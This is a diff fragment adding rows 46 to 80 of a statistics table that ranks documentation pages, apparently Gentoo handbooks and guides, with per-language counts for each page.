+<tr><ti>46.</ti><ti><uri link='/doc/en/bluetooth-guide.xml'>/doc/**/bluetooth-guide.xml</uri></ti><ti align='right'>32,570</ti><ti align='right'>21,834</ti><ti align='right'>2,434</ti><ti align='right'>1,580</ti><ti align='right'>1,292</ti><ti align='right'></ti><ti align='right'>1,347</ti><ti align='right'>2,784</ti><ti align='right'>1,096</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>203</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>47.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-amd64.xml'>/doc/**/handbook/2005.1/handbook-amd64.xml</uri></ti><ti align='right'>31,481</ti><ti align='right'>15,243</ti><ti align='right'>3,247</ti><ti align='right'>2,587</ti><ti align='right'>2,261</ti><ti align='right'></ti><ti align='right'>2,759</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,043</ti><ti align='right'>2,256</ti><ti align='right'>976</ti><ti align='right'></ti><ti align='right'>1,074</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>35</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>48.</ti><ti><uri link='/proj/en/desktop/kde/index.xml'>/proj/**/desktop/kde/index.xml</uri></ti><ti align='right'>31,241</ti><ti align='right'>31,241</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>49.</ti><ti><uri link='/doc/en/handbook/handbook-arm.xml'>/doc/**/handbook/handbook-arm.xml</uri></ti><ti align='right'>31,179</ti><ti align='right'>20,858</ti><ti align='right'>749</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>4,055</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,608</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>440</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,510</ti><ti align='right'></ti><ti align='right'>813</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>146</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>50.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-alpha.xml'>/doc/**/handbook/2005.1/handbook-alpha.xml</uri></ti><ti align='right'>30,544</ti><ti align='right'>14,433</ti><ti align='right'>2,316</ti><ti align='right'>2,311</ti><ti align='right'>3,446</ti><ti align='right'></ti><ti align='right'>2,542</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,568</ti><ti align='right'>792</ti><ti align='right'>1,082</ti><ti align='right'></ti><ti align='right'>1,041</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>13</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>51.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-sparc.xml'>/doc/**/handbook/2007.0/handbook-sparc.xml</uri></ti><ti align='right'>30,525</ti><ti align='right'>16,307</ti><ti align='right'>2,266</ti><ti align='right'>2,910</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,976</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,999</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>748</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,651</ti><ti align='right'></ti><ti align='right'>668</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>52.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-ppc.xml'>/doc/**/handbook/2005.0/handbook-ppc.xml</uri></ti><ti align='right'>30,497</ti><ti align='right'>14,901</ti><ti align='right'></ti><ti align='right'>3,022</ti><ti align='right'>2,674</ti><ti align='right'></ti><ti align='right'>2,707</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,491</ti><ti align='right'>2,369</ti><ti align='right'>1,250</ti><ti align='right'></ti><ti align='right'>1,069</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>14</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>53.</ti><ti><uri link='/doc/en/liveusb.xml'>/doc/**/liveusb.xml</uri></ti><ti align='right'>30,202</ti><ti align='right'>19,991</ti><ti align='right'>2,451</ti><ti align='right'></ti><ti align='right'>2,172</ti><ti align='right'></ti><ti align='right'>1,007</ti><ti align='right'>1,818</ti><ti align='right'>1,058</ti><ti align='right'>645</ti><ti align='right'>324</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>97</ti><ti align='right'>470</ti><ti align='right'>169</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>54.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-x86.xml'>/doc/**/handbook/2006.1/handbook-x86.xml</uri></ti><ti align='right'>30,087</ti><ti align='right'>19,146</ti><ti align='right'>2,859</ti><ti align='right'>2,480</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,222</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,095</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>645</ti><ti align='right'>1,019</ti><ti align='right'>621</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>55.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-hppa.xml'>/doc/**/handbook/2005.1/handbook-hppa.xml</uri></ti><ti align='right'>30,060</ti><ti align='right'>14,452</ti><ti align='right'>2,018</ti><ti align='right'>2,746</ti><ti align='right'>2,360</ti><ti align='right'></ti><ti align='right'>2,087</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,377</ti><ti align='right'>1,787</ti><ti align='right'>1,117</ti><ti align='right'></ti><ti align='right'>1,072</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>44</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>56.</ti><ti><uri link='/proj/en/hardened/selinux/selinux-handbook.xml'>/proj/**/hardened/selinux/selinux-handbook.xml</uri></ti><ti align='right'>29,950</ti><ti align='right'>24,327</ti><ti align='right'>3,422</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>327</ti><ti align='right'>1,874</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>57.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-hppa.xml'>/doc/**/handbook/2005.0/handbook-hppa.xml</uri></ti><ti align='right'>29,911</ti><ti align='right'>15,232</ti><ti align='right'></ti><ti align='right'>2,824</ti><ti align='right'>2,855</ti><ti align='right'></ti><ti align='right'>2,268</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,068</ti><ti align='right'>2,243</ti><ti align='right'>1,527</ti><ti align='right'></ti><ti align='right'>879</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>15</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>58.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-sparc.xml'>/doc/**/handbook/2005.1/handbook-sparc.xml</uri></ti><ti align='right'>29,699</ti><ti align='right'>14,931</ti><ti align='right'>1,965</ti><ti align='right'>2,163</ti><ti align='right'>2,305</ti><ti align='right'></ti><ti align='right'>2,935</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,053</ti><ti align='right'>1,613</ti><ti align='right'>1,527</ti><ti align='right'></ti><ti align='right'>1,181</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>26</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>59.</ti><ti><uri link='/proj/en/base/embedded/handbook/index.xml'>/proj/**/base/embedded/handbook/index.xml</uri></ti><ti align='right'>29,396</ti><ti align='right'>29,213</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>183</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>60.</ti><ti><uri link='/doc/en/virt-mail-howto.xml'>/doc/**/virt-mail-howto.xml</uri></ti><ti align='right'>29,289</ti><ti align='right'>18,924</ti><ti align='right'>2,502</ti><ti align='right'>2,446</ti><ti align='right'>1,481</ti><ti align='right'>1,520</ti><ti align='right'>798</ti><ti align='right'></ti><ti align='right'>1,180</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>118</ti><ti align='right'>320</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>61.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-sparc.xml'>/doc/**/handbook/2006.0/handbook-sparc.xml</uri></ti><ti align='right'>29,120</ti><ti align='right'>14,666</ti><ti align='right'>2,418</ti><ti align='right'>2,649</ti><ti align='right'>2,761</ti><ti align='right'></ti><ti align='right'>1,819</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,182</ti><ti align='right'>745</ti><ti align='right'>1,841</ti><ti align='right'></ti><ti align='right'>1,039</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>62.</ti><ti><uri link='/doc/en/usb-guide.xml'>/doc/**/usb-guide.xml</uri></ti><ti align='right'>28,932</ti><ti align='right'>14,671</ti><ti align='right'>2,227</ti><ti align='right'>2,552</ti><ti align='right'>1,220</ti><ti align='right'></ti><ti align='right'>1,551</ti><ti align='right'>3,629</ti><ti align='right'>1,495</ti><ti align='right'>1,097</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>322</ti><ti align='right'>168</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>63.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-hppa.xml'>/doc/**/handbook/2006.0/handbook-hppa.xml</uri></ti><ti align='right'>28,887</ti><ti align='right'>14,025</ti><ti align='right'>2,153</ti><ti align='right'>2,707</ti><ti align='right'>2,841</ti><ti align='right'></ti><ti align='right'>2,045</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>773</ti><ti align='right'>1,028</ti><ti align='right'>2,121</ti><ti align='right'></ti><ti align='right'>1,194</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>64.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-ppc.xml'>/doc/**/handbook/2007.0/handbook-ppc.xml</uri></ti><ti align='right'>28,837</ti><ti align='right'>16,740</ti><ti align='right'>2,441</ti><ti align='right'>2,093</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,437</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,923</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,125</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,359</ti><ti align='right'></ti><ti align='right'>719</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>65.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-ppc.xml'>/doc/**/handbook/2006.0/handbook-ppc.xml</uri></ti><ti align='right'>28,818</ti><ti align='right'>14,093</ti><ti align='right'>2,714</ti><ti align='right'>2,588</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,799</ti><ti align='right'></ti><ti align='right'>2,896</ti><ti align='right'></ti><ti align='right'>1,177</ti><ti align='right'>1,235</ti><ti align='right'>988</ti><ti align='right'></ti><ti align='right'>1,328</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>66.</ti><ti><uri link='/proj/en/releng/index.xml'>/proj/**/releng/index.xml</uri></ti><ti align='right'>28,695</ti><ti align='right'>28,695</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>67.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-alpha.xml'>/doc/**/handbook/2005.0/handbook-alpha.xml</uri></ti><ti align='right'>28,556</ti><ti align='right'>15,131</ti><ti align='right'></ti><ti align='right'>2,605</ti><ti align='right'>2,248</ti><ti align='right'></ti><ti align='right'>2,199</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,299</ti><ti align='right'>2,125</ti><ti align='right'>1,975</ti><ti align='right'></ti><ti align='right'>964</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>68.</ti><ti><uri link='/doc/en/lvm2.xml'>/doc/**/lvm2.xml</uri></ti><ti align='right'>28,534</ti><ti align='right'>17,680</ti><ti align='right'>848</ti><ti align='right'>2,255</ti><ti align='right'>979</ti><ti align='right'>1,405</ti><ti align='right'>646</ti><ti align='right'>2,927</ti><ti align='right'>530</ti><ti align='right'>464</ti><ti align='right'>298</ti><ti align='right'>163</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>44</ti><ti align='right'>293</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2</ti></tr>
+<tr><ti>69.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-amd64.xml'>/doc/**/handbook/2005.0/handbook-amd64.xml</uri></ti><ti align='right'>28,173</ti><ti align='right'>15,156</ti><ti align='right'></ti><ti align='right'>2,776</ti><ti align='right'>2,852</ti><ti align='right'></ti><ti align='right'>2,314</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,231</ti><ti align='right'>1,026</ti><ti align='right'>723</ti><ti align='right'></ti><ti align='right'>1,084</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>11</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>70.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-ppc64.xml'>/doc/**/handbook/2007.0/handbook-ppc64.xml</uri></ti><ti align='right'>27,866</ti><ti align='right'>14,924</ti><ti align='right'>2,260</ti><ti align='right'>2,986</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,295</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,016</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,101</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,414</ti><ti align='right'></ti><ti align='right'>870</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>71.</ti><ti><uri link='/doc/en/handbook/2007.0/handbook-hppa.xml'>/doc/**/handbook/2007.0/handbook-hppa.xml</uri></ti><ti align='right'>27,863</ti><ti align='right'>15,291</ti><ti align='right'>2,127</ti><ti align='right'>1,729</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,702</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,813</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,127</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,555</ti><ti align='right'></ti><ti align='right'>519</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>72.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-alpha.xml'>/doc/**/handbook/2006.0/handbook-alpha.xml</uri></ti><ti align='right'>27,822</ti><ti align='right'>14,028</ti><ti align='right'>2,258</ti><ti align='right'>2,666</ti><ti align='right'>2,266</ti><ti align='right'></ti><ti align='right'>1,910</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,146</ti><ti align='right'>1,193</ti><ti align='right'>1,366</ti><ti align='right'></ti><ti align='right'>989</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>73.</ti><ti><uri link='/doc/en/handbook/2005.0/handbook-sparc.xml'>/doc/**/handbook/2005.0/handbook-sparc.xml</uri></ti><ti align='right'>26,923</ti><ti align='right'>14,552</ti><ti align='right'></ti><ti align='right'>2,697</ti><ti align='right'>2,171</ti><ti align='right'></ti><ti align='right'>2,091</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,072</ti><ti align='right'>1,236</ti><ti align='right'>1,005</ti><ti align='right'></ti><ti align='right'>1,099</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>74.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-ppc64.xml'>/doc/**/handbook/2006.1/handbook-ppc64.xml</uri></ti><ti align='right'>26,391</ti><ti align='right'>13,860</ti><ti align='right'>3,810</ti><ti align='right'>2,088</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>3,135</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,030</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>913</ti><ti align='right'>782</ti><ti align='right'>773</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>75.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-hppa.xml'>/doc/**/handbook/2006.1/handbook-hppa.xml</uri></ti><ti align='right'>26,123</ti><ti align='right'>14,430</ti><ti align='right'>2,644</ti><ti align='right'>2,538</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,002</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,697</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>911</ti><ti align='right'>1,252</ti><ti align='right'>649</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>76.</ti><ti><uri link='/doc/en/gentoo-x86-tipsntricks.xml'>/doc/**/gentoo-x86-tipsntricks.xml</uri></ti><ti align='right'>26,071</ti><ti align='right'>16,223</ti><ti align='right'>1,521</ti><ti align='right'>1,501</ti><ti align='right'>1,158</ti><ti align='right'>2,877</ti><ti align='right'>991</ti><ti align='right'>669</ti><ti align='right'>624</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>162</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>214</ti><ti align='right'>131</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>77.</ti><ti><uri link='/doc/en/handbook/2005.1/handbook-ppc64.xml'>/doc/**/handbook/2005.1/handbook-ppc64.xml</uri></ti><ti align='right'>25,759</ti><ti align='right'>15,264</ti><ti align='right'>2,875</ti><ti align='right'>2,517</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,855</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,051</ti><ti align='right'>1,060</ti><ti align='right'>2</ti><ti align='right'></ti><ti align='right'>1,106</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>29</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>78.</ti><ti><uri link='/doc/en/handbook/2006.0/handbook-ppc64.xml'>/doc/**/handbook/2006.0/handbook-ppc64.xml</uri></ti><ti align='right'>25,503</ti><ti align='right'>15,276</ti><ti align='right'>2,308</ti><ti align='right'>2,570</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,936</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,141</ti><ti align='right'>706</ti><ti align='right'>477</ti><ti align='right'></ti><ti align='right'>1,089</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>79.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-x86.xml'>/doc/**/handbook/2004.2/handbook-x86.xml</uri></ti><ti align='right'>25,458</ti><ti align='right'>16,329</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,757</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>3,460</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,977</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>935</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>80.</ti><ti><uri link='/news/en/gmn/index.xml'>/news/**/gmn/index.xml</uri></ti><ti align='right'>25,199</ti><ti align='right'>21,298</ti><ti align='right'>1,095</ti><ti align='right'>1,043</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>711</ti><ti align='right'></ti><ti align='right'>413</ti><ti align='right'>639</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
